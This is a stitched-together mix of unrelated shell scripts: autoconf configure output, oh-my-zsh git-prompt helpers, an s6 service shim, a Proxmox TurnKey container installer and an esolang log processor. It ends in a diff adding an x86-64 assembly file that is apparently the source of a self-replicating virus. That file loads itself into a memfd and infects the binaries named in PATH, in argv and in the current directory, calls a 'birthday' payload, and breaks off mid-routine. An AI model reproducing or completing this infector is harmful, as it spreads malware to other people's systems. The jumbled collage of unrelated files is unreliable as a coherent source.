\ + >$ac_tmp/out || as_fn_error $? "could not create $ac_file" "$LINENO" 5 + +test -z "$ac_datarootdir_hack$ac_datarootdir_seen" && + { ac_out=`sed -n '/\${datarootdir}/p' "$ac_tmp/out"`; test -n "$ac_out"; } && + { ac_out=`sed -n '/^[ ]*datarootdir[ ]*:*=/p' \ + "$ac_tmp/out"`; test -z "$ac_out"; } && + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: $ac_file contains a reference to the variable \`datarootdir' +which seems to be undefined. Please make sure it is defined" >&5 +printf "%s\n" "$as_me: WARNING: $ac_file contains a reference to the variable \`datarootdir' +which seems to be undefined. Please make sure it is defined" >&2;} + + rm -f "$ac_tmp/stdin" + case $ac_file in + -) cat "$ac_tmp/out" && rm -f "$ac_tmp/out";; + *) rm -f "$ac_file" && mv "$ac_tmp/out" "$ac_file";; + esac \ + || as_fn_error $? "could not create $ac_file" "$LINENO" 5 + ;; + :H) + # + # CONFIG_HEADER + # + if test x"$ac_file" != x-; then + { + printf "%s\n" "/* $configure_input */" >&1 \ + && eval '$AWK -f "$ac_tmp/defines.awk"' "$ac_file_inputs" + } >"$ac_tmp/config.h" \ + || as_fn_error $? "could not create $ac_file" "$LINENO" 5 + if diff "$ac_file" "$ac_tmp/config.h" >/dev/null 2>&1; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: $ac_file is unchanged" >&5 +printf "%s\n" "$as_me: $ac_file is unchanged" >&6;} + else + rm -f "$ac_file" + mv "$ac_tmp/config.h" "$ac_file" \ + || as_fn_error $? "could not create $ac_file" "$LINENO" 5 + fi + else + printf "%s\n" "/* $configure_input */" >&1 \ + && eval '$AWK -f "$ac_tmp/defines.awk"' "$ac_file_inputs" \ + || as_fn_error $? "could not create -" "$LINENO" 5 + fi +# Compute "$ac_file"'s index in $config_headers. +_am_arg="$ac_file" +_am_stamp_count=1 +for _am_header in $config_headers :; do + case $_am_header in + $_am_arg | $_am_arg:* ) + break ;; + * ) + _am_stamp_count=`expr $_am_stamp_count + 1` ;; + esac +done +echo "timestamp for $_am_arg" >`$as_dirname -- "$_am_arg" || +$as_expr X"$_am_arg" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$_am_arg" : 'X\(//\)[^/]' \| \ + X"$_am_arg" : 'X\(//\)$' \| \ + X"$_am_arg" : 'X\(/\)' \| . 2>/dev/null || +printf "%s\n" X"$_am_arg" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'`/stamp-h$_am_stamp_count + ;; + + :C) { printf "%s\n" "$as_me:${as_lineno-$LINENO}: executing $ac_file commands" >&5 +printf "%s\n" "$as_me: executing $ac_file commands" >&6;} + ;; + esac + + + case $ac_file$ac_mode in + "depfiles":C) test x"$AMDEP_TRUE" != x"" || { + # Older Autoconf quotes --file arguments for eval, but not when files + # are listed without --file. Let's play safe and only enable the eval + # if we detect the quoting. + # TODO: see whether this extra hack can be removed once we start + # requiring Autoconf 2.70 or later. + case $CONFIG_FILES in #( + *\'*) : + eval set x "$CONFIG_FILES" ;; #( + *) : + set x $CONFIG_FILES ;; #( + *) : + ;; +esac + shift + # Used to flag and report bootstrapping failures. + am_rc=0 + for am_mf + do + # Strip MF so we end up with the name of the file. + am_mf=`printf "%s\n" "$am_mf" | sed -e 's/:.*$//'` + # Check whether this is an Automake generated Makefile which includes + # dependency-tracking related rules and includes. + # Grep'ing the whole file directly is not great: AIX grep has a line + # limit of 2048, but all sed's we know have understand at least 4000. + sed -n 's,^am--depfiles:.*,X,p' "$am_mf" | grep X >/dev/null 2>&1 \ + || continue + am_dirpart=`$as_dirname -- "$am_mf" || +$as_expr X"$am_mf" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$am_mf" : 'X\(//\)[^/]' \| \ + X"$am_mf" : 'X\(//\)$' \| \ + X"$am_mf" : 'X\(/\)' \| . 2>/dev/null || +printf "%s\n" X"$am_mf" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + am_filepart=`$as_basename -- "$am_mf" || +$as_expr X/"$am_mf" : '.*/\([^/][^/]*\)/*$' \| \ + X"$am_mf" : 'X\(//\)$' \| \ + X"$am_mf" : 'X\(/\)' \| . 2>/dev/null || +printf "%s\n" X/"$am_mf" | + sed '/^.*\/\([^/][^/]*\)\/*$/{ + s//\1/ + q + } + /^X\/\(\/\/\)$/{ + s//\1/ + q + } + /^X\/\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + { echo "$as_me:$LINENO: cd "$am_dirpart" \ + && sed -e '/# am--include-marker/d' "$am_filepart" \ + | $MAKE -f - am--depfiles" >&5 + (cd "$am_dirpart" \ + && sed -e '/# am--include-marker/d' "$am_filepart" \ + | $MAKE -f - am--depfiles) >&5 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } || am_rc=$? + done + if test $am_rc -ne 0; then + { { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in \`$ac_pwd':" >&2;} +as_fn_error $? "Something went wrong bootstrapping makefile fragments + for automatic dependency tracking. If GNU make was not used, consider + re-running the configure script with MAKE=\"gmake\" (or whatever is + necessary). You can also try re-running configure with the + '--disable-dependency-tracking' option to at least be able to build + the package (albeit without support for automatic dependency tracking). +See \`config.log' for more details" "$LINENO" 5; } + fi + { am_dirpart=; unset am_dirpart;} + { am_filepart=; unset am_filepart;} + { am_mf=; unset am_mf;} + { am_rc=; unset am_rc;} + rm -f conftest-deps.mk +} + ;; + + esac +done # for ac_tag + + +as_fn_exit 0 +_ACEOF +ac_clean_files=$ac_clean_files_save + +test $ac_write_fail = 0 || + as_fn_error $? "write failure creating $CONFIG_STATUS" "$LINENO" 5 + + +# configure is writing to config.log, and then calls config.status. +# config.status does its own redirection, appending to config.log. +# Unfortunately, on DOS this fails, as config.log is still kept open +# by configure, so config.status won't be able to write to it; its +# output is simply discarded. So we exec the FD to /dev/null, +# effectively closing config.log, so it can be properly (re)opened and +# appended to by config.status. When coming back to configure, we +# need to make the FD available again. +if test "$no_create" != yes; then + ac_cs_success=: + ac_config_status_args= + test "$silent" = yes && + ac_config_status_args="$ac_config_status_args --quiet" + exec 5>/dev/null + $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false + exec 5>>config.log + # Use ||, not &&, to avoid exiting from the if with $? = 1, which + # would make configure fail if this is the last instruction. + $ac_cs_success || as_fn_exit 1 +fi +if test -n "$ac_unrecognized_opts" && test "$enable_option_checking" != no; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: unrecognized options: $ac_unrecognized_opts" >&5 +printf "%s\n" "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2;} +fi + + +./gen_assets.sh + + +# The git prompt's git commands are read-only and should not interfere with +# other processes. This environment variable is equivalent to running with `git +# --no-optional-locks`, but falls back gracefully for older versions of git. +# See git(1) for and git-status(1) for a description of that flag. +# +# We wrap in a local function instead of exporting the variable directly in +# order to avoid interfering with manually-run git commands by the user. +function __git_prompt_git() { + GIT_OPTIONAL_LOCKS=0 command git "$@" +} + +function git_prompt_info() { + # If we are on a folder not tracked by git, get out. + # Otherwise, check for hide-info at global and local repository level + if ! __git_prompt_git rev-parse --git-dir &> /dev/null \ + || [[ "$(__git_prompt_git config --get oh-my-zsh.hide-info 2>/dev/null)" == 1 ]]; then + return 0 + fi + + local ref + ref=$(__git_prompt_git symbolic-ref --short HEAD 2> /dev/null) \ + || ref=$(__git_prompt_git describe --tags --exact-match HEAD 2> /dev/null) \ + || ref=$(__git_prompt_git rev-parse --short HEAD 2> /dev/null) \ + || return 0 + + # Use global ZSH_THEME_GIT_SHOW_UPSTREAM=1 for including upstream remote info + local upstream + if (( ${+ZSH_THEME_GIT_SHOW_UPSTREAM} )); then + upstream=$(__git_prompt_git rev-parse --abbrev-ref --symbolic-full-name "@{upstream}" 2>/dev/null) \ + && upstream=" -> ${upstream}" + fi + + echo "${ZSH_THEME_GIT_PROMPT_PREFIX}${ref:gs/%/%%}${upstream:gs/%/%%}$(parse_git_dirty)${ZSH_THEME_GIT_PROMPT_SUFFIX}" +} + +# Checks if working tree is dirty +function parse_git_dirty() { + local STATUS + local -a FLAGS + FLAGS=('--porcelain') + if [[ "$(__git_prompt_git config --get oh-my-zsh.hide-dirty)" != "1" ]]; then + if [[ "${DISABLE_UNTRACKED_FILES_DIRTY:-}" == "true" ]]; then + FLAGS+='--untracked-files=no' + fi + case "${GIT_STATUS_IGNORE_SUBMODULES:-}" in + git) + # let git decide (this respects per-repo config in .gitmodules) + ;; + *) + # if unset: ignore dirty submodules + # other values are passed to --ignore-submodules + FLAGS+="--ignore-submodules=${GIT_STATUS_IGNORE_SUBMODULES:-dirty}" + ;; + esac + STATUS=$(__git_prompt_git status ${FLAGS} 2> /dev/null | tail -n 1) + fi + if [[ -n $STATUS ]]; then + echo "$ZSH_THEME_GIT_PROMPT_DIRTY" + else + echo "$ZSH_THEME_GIT_PROMPT_CLEAN" + fi +} + +# Gets the difference between the local and remote branches +function git_remote_status() { + local remote ahead behind git_remote_status git_remote_status_detailed + remote=${$(__git_prompt_git rev-parse --verify ${hook_com[branch]}@{upstream} --symbolic-full-name 2>/dev/null)/refs\/remotes\/} + if [[ -n ${remote} ]]; then + ahead=$(__git_prompt_git rev-list ${hook_com[branch]}@{upstream}..HEAD 2>/dev/null | wc -l) + behind=$(__git_prompt_git rev-list HEAD..${hook_com[branch]}@{upstream} 2>/dev/null | wc -l) + + if [[ $ahead -eq 0 ]] && [[ $behind -eq 0 ]]; then + git_remote_status="$ZSH_THEME_GIT_PROMPT_EQUAL_REMOTE" + elif [[ $ahead -gt 0 ]] && [[ $behind -eq 0 ]]; then + git_remote_status="$ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE" + git_remote_status_detailed="$ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE_COLOR$ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE$((ahead))%{$reset_color%}" + elif [[ $behind -gt 0 ]] && [[ $ahead -eq 0 ]]; then + git_remote_status="$ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE" + git_remote_status_detailed="$ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE_COLOR$ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE$((behind))%{$reset_color%}" + elif [[ $ahead -gt 0 ]] && [[ $behind -gt 0 ]]; then + git_remote_status="$ZSH_THEME_GIT_PROMPT_DIVERGED_REMOTE" + git_remote_status_detailed="$ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE_COLOR$ZSH_THEME_GIT_PROMPT_AHEAD_REMOTE$((ahead))%{$reset_color%}$ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE_COLOR$ZSH_THEME_GIT_PROMPT_BEHIND_REMOTE$((behind))%{$reset_color%}" + fi + + if [[ -n $ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_DETAILED ]]; then + git_remote_status="$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_PREFIX${remote:gs/%/%%}$git_remote_status_detailed$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_SUFFIX" + fi + + echo $git_remote_status + fi +} + +# Outputs the name of the current branch +# Usage example: git pull origin $(git_current_branch) +# Using '--quiet' with 'symbolic-ref' will not cause a fatal error (128) if +# it's not a symbolic ref, but in a Git repo. +function git_current_branch() { + local ref + ref=$(__git_prompt_git symbolic-ref --quiet HEAD 2> /dev/null) + local ret=$? + if [[ $ret != 0 ]]; then + [[ $ret == 128 ]] && return # no git repo. + ref=$(__git_prompt_git rev-parse --short HEAD 2> /dev/null) || return + fi + echo ${ref#refs/heads/} +} + + +# Gets the number of commits ahead from remote +function git_commits_ahead() { + if __git_prompt_git rev-parse --git-dir &>/dev/null; then + local commits="$(__git_prompt_git rev-list --count @{upstream}..HEAD 2>/dev/null)" + if [[ -n "$commits" && "$commits" != 0 ]]; then + echo "$ZSH_THEME_GIT_COMMITS_AHEAD_PREFIX$commits$ZSH_THEME_GIT_COMMITS_AHEAD_SUFFIX" + fi + fi +} + +# Gets the number of commits behind remote +function git_commits_behind() { + if __git_prompt_git rev-parse --git-dir &>/dev/null; then + local commits="$(__git_prompt_git rev-list --count HEAD..@{upstream} 2>/dev/null)" + if [[ -n "$commits" && "$commits" != 0 ]]; then + echo "$ZSH_THEME_GIT_COMMITS_BEHIND_PREFIX$commits$ZSH_THEME_GIT_COMMITS_BEHIND_SUFFIX" + fi + fi +} + +# Outputs if current branch is ahead of remote +function git_prompt_ahead() { + if [[ -n "$(__git_prompt_git rev-list origin/$(git_current_branch)..HEAD 2> /dev/null)" ]]; then + echo "$ZSH_THEME_GIT_PROMPT_AHEAD" + fi +} + +# Outputs if current branch is behind remote +function git_prompt_behind() { + if [[ -n "$(__git_prompt_git rev-list HEAD..origin/$(git_current_branch) 2> /dev/null)" ]]; then + echo "$ZSH_THEME_GIT_PROMPT_BEHIND" + fi +} + +# Outputs if current branch exists on remote or not +function git_prompt_remote() { + if [[ -n "$(__git_prompt_git show-ref origin/$(git_current_branch) 2> /dev/null)" ]]; then + echo "$ZSH_THEME_GIT_PROMPT_REMOTE_EXISTS" + else + echo "$ZSH_THEME_GIT_PROMPT_REMOTE_MISSING" + fi +} + +# Formats prompt string for current git commit short SHA +function git_prompt_short_sha() { + local SHA + SHA=$(__git_prompt_git rev-parse --short HEAD 2> /dev/null) && echo "$ZSH_THEME_GIT_PROMPT_SHA_BEFORE$SHA$ZSH_THEME_GIT_PROMPT_SHA_AFTER" +} + +# Formats prompt string for current git commit long SHA +function git_prompt_long_sha() { + local SHA + SHA=$(__git_prompt_git rev-parse HEAD 2> /dev/null) && echo "$ZSH_THEME_GIT_PROMPT_SHA_BEFORE$SHA$ZSH_THEME_GIT_PROMPT_SHA_AFTER" +} + +function git_prompt_status() { + [[ "$(__git_prompt_git config --get oh-my-zsh.hide-status 2>/dev/null)" = 1 ]] && return + + # Maps a git status prefix to an internal constant + # This cannot use the prompt constants, as they may be empty + local -A prefix_constant_map + prefix_constant_map=( + '\?\? ' 'UNTRACKED' + 'A ' 'ADDED' + 'M ' 'ADDED' + 'MM ' 'MODIFIED' + ' M ' 'MODIFIED' + 'AM ' 'MODIFIED' + ' T ' 'MODIFIED' + 'R ' 'RENAMED' + ' D ' 'DELETED' + 'D ' 'DELETED' + 'UU ' 'UNMERGED' + 'ahead' 'AHEAD' + 'behind' 'BEHIND' + 'diverged' 'DIVERGED' + 'stashed' 'STASHED' + ) + + # Maps the internal constant to the prompt theme + local -A constant_prompt_map + constant_prompt_map=( + 'UNTRACKED' "$ZSH_THEME_GIT_PROMPT_UNTRACKED" + 'ADDED' "$ZSH_THEME_GIT_PROMPT_ADDED" + 'MODIFIED' "$ZSH_THEME_GIT_PROMPT_MODIFIED" + 'RENAMED' "$ZSH_THEME_GIT_PROMPT_RENAMED" + 'DELETED' "$ZSH_THEME_GIT_PROMPT_DELETED" + 'UNMERGED' "$ZSH_THEME_GIT_PROMPT_UNMERGED" + 'AHEAD' "$ZSH_THEME_GIT_PROMPT_AHEAD" + 'BEHIND' "$ZSH_THEME_GIT_PROMPT_BEHIND" + 'DIVERGED' "$ZSH_THEME_GIT_PROMPT_DIVERGED" + 'STASHED' "$ZSH_THEME_GIT_PROMPT_STASHED" + ) + + # The order that the prompt displays should be added to the prompt + local status_constants + status_constants=( + UNTRACKED ADDED MODIFIED RENAMED DELETED + STASHED UNMERGED AHEAD BEHIND DIVERGED + ) + + local status_text + status_text="$(__git_prompt_git status --porcelain -b 2> /dev/null)" + + # Don't continue on a catastrophic failure + if [[ $? -eq 128 ]]; then + return 1 + fi + + # A lookup table of each git status encountered + local -A statuses_seen + + if __git_prompt_git rev-parse --verify refs/stash &>/dev/null; then + statuses_seen[STASHED]=1 + fi + + local status_lines + status_lines=("${(@f)${status_text}}") + + # If the tracking line exists, get and parse it + if [[ "$status_lines[1]" =~ "^## [^ ]+ \[(.*)\]" ]]; then + local branch_statuses + branch_statuses=("${(@s/,/)match}") + for branch_status in $branch_statuses; do + if [[ ! $branch_status =~ "(behind|diverged|ahead) ([0-9]+)?" ]]; then + continue + fi + local last_parsed_status=$prefix_constant_map[$match[1]] + statuses_seen[$last_parsed_status]=$match[2] + done + fi + + # For each status prefix, do a regex comparison + for status_prefix in ${(k)prefix_constant_map}; do + local status_constant="${prefix_constant_map[$status_prefix]}" + local status_regex=$'(^|\n)'"$status_prefix" + + if [[ "$status_text" =~ $status_regex ]]; then + statuses_seen[$status_constant]=1 + fi + done + + # Display the seen statuses in the order specified + local status_prompt + for status_constant in $status_constants; do + if (( ${+statuses_seen[$status_constant]} )); then + local next_display=$constant_prompt_map[$status_constant] + status_prompt="$next_display$status_prompt" + fi + done + + echo $status_prompt +} + +# Outputs the name of the current user +# Usage example: $(git_current_user_name) +function git_current_user_name() { + __git_prompt_git config user.name 2>/dev/null +} + +# Outputs the email of the current user +# Usage example: $(git_current_user_email) +function git_current_user_email() { + __git_prompt_git config user.email 2>/dev/null +} + +# Output the name of the root directory of the git repository +# Usage example: $(git_repo_name) +function git_repo_name() { + local repo_path + if repo_path="$(__git_prompt_git rev-parse --show-toplevel 2>/dev/null)" && [[ -n "$repo_path" ]]; then + echo ${repo_path:t} + fi +} + +# A script to make using 256 colors in zsh less painful. +# P.C. Shyamshankar +# Copied from https://github.com/sykora/etc/blob/master/zsh/functions/spectrum/ + +typeset -AHg FX FG BG + +FX=( + reset "%{%}" + bold "%{%}" no-bold "%{%}" + italic "%{%}" no-italic "%{%}" + underline "%{%}" no-underline "%{%}" + blink "%{%}" no-blink "%{%}" + reverse "%{%}" no-reverse "%{%}" +) + +for color in {000..255}; do + FG[$color]="%{[38;5;${color}m%}" + BG[$color]="%{[48;5;${color}m%}" +done + +# Show all 256 colors with color number +function spectrum_ls() { + setopt localoptions nopromptsubst + local ZSH_SPECTRUM_TEXT=${ZSH_SPECTRUM_TEXT:-Arma virumque cano Troiae qui primus ab oris} + for code in {000..255}; do + print -P -- "$code: ${FG[$code]}${ZSH_SPECTRUM_TEXT}%{$reset_color%}" + done +} + +# Show all 256 colors where the background is set to specific color +function spectrum_bls() { + setopt localoptions nopromptsubst + local ZSH_SPECTRUM_TEXT=${ZSH_SPECTRUM_TEXT:-Arma virumque cano Troiae qui primus ab oris} + for code in {000..255}; do + print -P -- "$code: ${BG[$code]}${ZSH_SPECTRUM_TEXT}%{$reset_color%}" + done +} + + +#!/bin/bash +# This script patches all service commands into the appropriate s6- commands +# pi-hole upstream scripts need a 'service' interface. why not systemd? docker said so. + +start() { + restart +} + +stop() { + /command/s6-svc -wD -d -T2500 /run/service/"$service" +} + +restart() { + local pid + + # Get the PID(s) of the service we are asking to restart + mapfile -t pids < <(pgrep "$service") + + # Only attempt to stop the service if it is already running + if [ "${#pids[@]}" -gt 0 ]; then + stop + + for pid in "${pids[@]}"; do + # Loop until we are certain that the process has been stopped + while test -d /proc/"$pid"; do + sleep 0.2 + done + done + fi + + # Check it hasn't been started by something else in the meantime + pid=$(pgrep "$service") + + # Only attempt to start the service if it is not already running + if [ -z "$pid" ]; then + /command/s6-svc -wu -u -T2500 /run/service/"$service" + fi + +} + +status() { + /command/s6-svstat /run/service/"$service" +} + +service="$1" +command="$2" + +if [[ ! -d "/run/service/$service" ]] ; then + echo "s6 service not found for $service, exiting..." + exit +fi; + +${command} "${service}" + +#!/usr/bin/env bash +# Copyright (c) 2021-2023 tteck +# Author: tteck (tteckster) +# License: MIT +# https://github.com/tteck/Proxmox/raw/main/LICENSE + +function header_info { + clear + cat <<"EOF" + ______ __ __ __ _ _______ +/_ __/_ _________ / //_/__ __ __ / / | |/_/ ___/ + / / / // / __/ _ \/ ,< / -_) // / / /___> &2 + [ ! -z ${CTID-} ] && cleanup_ctid + exit $EXIT +} +function warn() { + local REASON="\e[97m$1\e[39m" + local FLAG="\e[93m[WARNING]\e[39m" + msg "$FLAG $REASON" +} +function info() { + local REASON="$1" + local FLAG="\e[36m[INFO]\e[39m" + msg "$FLAG $REASON" +} +function msg() { + local TEXT="$1" + echo -e "$TEXT" +} +function cleanup_ctid() { + if pct status $CTID &>/dev/null; then + if [ "$(pct status $CTID | awk '{print $2}')" == "running" ]; then + pct stop $CTID + fi + pct destroy $CTID + fi +} + +# Stop Proxmox VE Monitor-All if running +if systemctl is-active -q ping-instances.service; then + systemctl stop ping-instances.service +fi +header_info +whiptail --backtitle "Proxmox VE Helper Scripts" --title "TurnKey LXCs" --yesno "This will allow for the creation of one of the many TurnKey LXC Containers. Proceed?" 10 68 || exit +TURNKEY_MENU=() +MSG_MAX_LENGTH=0 +while read -r TAG ITEM; do + OFFSET=2 + ((${#ITEM} + OFFSET > MSG_MAX_LENGTH)) && MSG_MAX_LENGTH=${#ITEM}+OFFSET + TURNKEY_MENU+=("$TAG" "$ITEM " "OFF") +done < <( + cat <&1 1>&2 2>&3 | tr -d '"') || exit +[ -z "$turnkey" ] && { + whiptail --backtitle "Proxmox VE Helper Scripts" --title "No TurnKey LXC Selected" --msgbox "It appears that no TurnKey LXC container was selected" 10 68 + msg "Done" + exit +} + +# Setup script environment +PASS="$(openssl rand -base64 8)" +CTID=$(pvesh get /cluster/nextid) +TEMPLATE_SEARCH="debian-11-turnkey-${turnkey}" +PCT_OPTIONS=" + -features keyctl=1,nesting=1 + -hostname turnkey-${turnkey} + -tags proxmox-helper-scripts + -onboot 1 + -cores 2 + -memory 2048 + -password $PASS + -net0 name=eth0,bridge=vmbr0,ip=dhcp + -unprivileged 1 + " +DEFAULT_PCT_OPTIONS=( + -arch $(dpkg --print-architecture) +) + +# Set the CONTENT and CONTENT_LABEL variables +function select_storage() { + local CLASS=$1 + local CONTENT + local CONTENT_LABEL + case $CLASS in + container) + CONTENT='rootdir' + CONTENT_LABEL='Container' + ;; + template) + CONTENT='vztmpl' + CONTENT_LABEL='Container template' + ;; + *) false || die "Invalid storage class." ;; + esac + + # Query all storage locations + local -a MENU + while read -r line; do + local TAG=$(echo $line | awk '{print $1}') + local TYPE=$(echo $line | awk '{printf "%-10s", $2}') + local FREE=$(echo $line | numfmt --field 4-6 --from-unit=K --to=iec --format %.2f | awk '{printf( "%9sB", $6)}') + local ITEM=" Type: $TYPE Free: $FREE " + local OFFSET=2 + if [[ $((${#ITEM} + $OFFSET)) -gt ${MSG_MAX_LENGTH:-} ]]; then + local MSG_MAX_LENGTH=$((${#ITEM} + $OFFSET)) + fi + MENU+=("$TAG" "$ITEM" "OFF") + done < <(pvesm status -content $CONTENT | awk 'NR>1') + + # Select storage location + if [ $((${#MENU[@]} / 3)) -eq 0 ]; then + warn "'$CONTENT_LABEL' needs to be selected for at least one storage location." + die "Unable to detect valid storage location." + elif [ $((${#MENU[@]} / 3)) -eq 1 ]; then + printf ${MENU[0]} + else + local STORAGE + while [ -z "${STORAGE:+x}" ]; do + STORAGE=$(whiptail --backtitle "Proxmox VE Helper Scripts" --title "Storage Pools" --radiolist \ + "Which storage pool you would like to use for the ${CONTENT_LABEL,,}?\n\n" \ + 16 $(($MSG_MAX_LENGTH + 23)) 6 \ + "${MENU[@]}" 3>&1 1>&2 2>&3) || die "Menu aborted." + done + printf $STORAGE + fi +} + +# Get template storage +TEMPLATE_STORAGE=$(select_storage template) || exit +info "Using '$TEMPLATE_STORAGE' for template storage." + +# Get container storage +CONTAINER_STORAGE=$(select_storage container) || exit +info "Using '$CONTAINER_STORAGE' for container storage." + +# Update LXC template list +msg "Updating LXC template list..." +pveam update >/dev/null + +# Get LXC template string +mapfile -t TEMPLATES < <(pveam available -section turnkeylinux | sed -n "s/.*\($TEMPLATE_SEARCH.*\)/\1/p" | sort -t - -k 2 -V) +[ ${#TEMPLATES[@]} -gt 0 ] || die "Unable to find a template when searching for '$TEMPLATE_SEARCH'." +TEMPLATE="${TEMPLATES[-1]}" + +# Download LXC template +if ! pveam list $TEMPLATE_STORAGE | grep -q $TEMPLATE; then + msg "Downloading LXC template (Patience)..." + pveam download $TEMPLATE_STORAGE $TEMPLATE >/dev/null || + die "A problem occured while downloading the LXC template." +fi + +# Create variable for 'pct' options +PCT_OPTIONS=(${PCT_OPTIONS[@]:-${DEFAULT_PCT_OPTIONS[@]}}) +[[ " ${PCT_OPTIONS[@]} " =~ " -rootfs " ]] || PCT_OPTIONS+=(-rootfs $CONTAINER_STORAGE:${PCT_DISK_SIZE:-8}) + +# Create LXC +msg "Creating LXC container..." +pct create $CTID ${TEMPLATE_STORAGE}:vztmpl/${TEMPLATE} ${PCT_OPTIONS[@]} >/dev/null || + die "A problem occured while trying to create container." + +# Save password +echo "TurnKey ${turnkey} password: ${PASS}" >>~/turnkey-${turnkey}.creds # file is located in the Proxmox root directory + +# Start container +msg "Starting LXC Container..." +pct start "$CTID" +sleep 5 + +# Get container IP +set +e +max_attempts=5 +attempt=1 +IP="" +while [[ $attempt -le $max_attempts ]]; do + IP=$(pct exec $CTID ip a show dev eth0 | grep -oP 'inet \K[^/]+') + if [[ -n $IP ]]; then + break + else + warn "Attempt $attempt: IP address not found. Pausing for 5 seconds..." + sleep 5 + ((attempt++)) + fi +done + +if [[ -z $IP ]]; then + warn "Maximum number of attempts reached. IP address not found." + IP="NOT FOUND" +fi + +set -e +# Start Proxmox VE Monitor-All if available +if [[ -f /etc/systemd/system/ping-instances.service ]]; then + systemctl start ping-instances.service +fi + +# Success message +header_info +echo +info "LXC container '$CTID' was successfully created, and its IP address is ${IP}." +echo +info "Proceed to the LXC console to complete the setup." +echo +info "login: root" +info "password: $PASS" +echo + +if [ -d esologs ]; then + cd esologs && git pull && cd .. +else + git clone --depth 1 https://github.com/kspalaiologos/esologs + echo ".slug" >> esologs/.gitignore + echo ".md5" >> esologs/.gitignore + md5sum < `basename $0` > esologs/a.md5 +fi + +# Invalidate cache if it was built with another version of the script. +md5sum < `basename $0` > esologs/b.md5 + +if ! diff esologs/a.md5 esologs/b.md5 >/dev/null 2>&1; then + echo " [-] Cache miss."; + rm -f esologs/a.md5 + cp esologs/b.md5 esologs/a.md5 + rm -f esologs/b.md5 esologs/*.slug +else + echo " [+] Cache hit."; +fi + +rm -f esologs/actual_md5.slug + +cd esologs + +# Process all the files; build the slug files. + +pids=() + +for f in *.txt; do + if [ ! -f "$f.slug" ]; then + process $f & + pids[${#pids[@]}]=$! + else + echo " [!] Already cached: $f" + fi +done + +# Synchronize the operation. + +for pid in ${pids[*]}; do + echo " [~] Waiting for $pid." + wait $pid +done + +# Concat all slugs into ../data.slug, read by the markov chain +# node.js script. + +cat *.slug > ../data.slug \ No newline at end of file diff --git a/ref_x64 b/ref_x64 new file mode 100644 index 0000000..2e2fc5b --- /dev/null +++ b/ref_x64 @@ -0,0 +1,3463 @@ +format ELF64 executable +use64 + +; XXX: You have to set this to the resulting ELF file size manually. +SIZE equ 1434 + +; XXX: You have to set this to the position of the "palaiologos" string +; in the binary yourself. +SENTINEL_LOC equ 120 + +sys_execve equ 59 +sys_open equ 2 +sys_lseek equ 8 +sys_memfd_create equ 319 +sys_sendfile equ 40 +sys_close equ 3 +sys_exit equ 60 +sys_getdents equ 78 +sys_access equ 21 +sys_stat equ 4 +sys_chmod equ 90 + +entry _start + +sentinel: db 'palaiologos',0 +memfd_path: db '/proc/self/fd/',0,0 +self: db '/proc/self/exe' +snddev: db "/dev/dsp1", 0 +pathsep: db "/", 0 +empty: db 0 +size: dq SIZE +seed: dq 0 +ldays: + dd -1, 30, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 +days: + dd -1, 30, 58, 89, 119, 150, 180, 211, 242, 272, 303, 333, 364 + +LCG_A equ 1103515245 +LCG_B equ 12345 + +load_elf: + ; Open ourselves. + xor esi, esi + mov edi, self + push sys_open + pop rax + syscall + ; Obtain the length: seek to back. + mov r8, rax + mov rdi, r8 + push sys_lseek + pop rax + syscall + ; Call memfd_create, call with MFD_CLOEXEC. + mov edi, empty + push 1 + pop rsi + push sys_memfd_create + pop rax + syscall + ; Copy the file contents to the memfd using sendfile. + mov edx, size + mov r9, rax + mov rdi, rax + mov rsi, r8 + sub r10d, SIZE + push sys_sendfile + pop rax + syscall + ; Close the file descriptor we hold to our own binary. + push sys_close + pop rax + mov rdi, r8 + syscall + ; Bravely assume that the memfd descriptor number is a single digit. + ; This might or might not work all of the times, but improving upon + ; this is trivially beyond the scope of this post. + add r9d, 48 + mov BYTE [memfd_path + 14], r9b + ret + +; The entry point. +_start: + ; Load the executable to a memfd. + call load_elf + ; Load the argp for the first payload. + mov rdi, [rsp] + lea rdi, [rsp + 8 + rdi * 8 + 8] + call infect_path + ; Load the argv for the second payload. + lea rbx, [rsp + 8] + call infect_argv + ; Infect the current directory as the third payload. + call infect_selfdir + ; Call the final birthday payload. + call birthday + ; Load the path to the executable + mov rdi, memfd_path + ; Prepare to call execve + ; Load argc + argv + lea rsi, [rsp + 8] + ; Load argp + mov rdx, [rsp] + lea rdx, [rsp + 8 + rdx * 8 + 8] + ; Perform the syscall + push sys_execve + pop rax + syscall + ; Exit in case execve returns due to error. + mov rdi, -1 + push sys_exit + pop rax + syscall + +infect_argv: + ; Load two constants related to access() to + ; avoid having to reload them in the loop. + ; We're interested in the syscall number + ; and the two arguments specifying access + ; mode. + push sys_access + pop r14 + push 6 ; 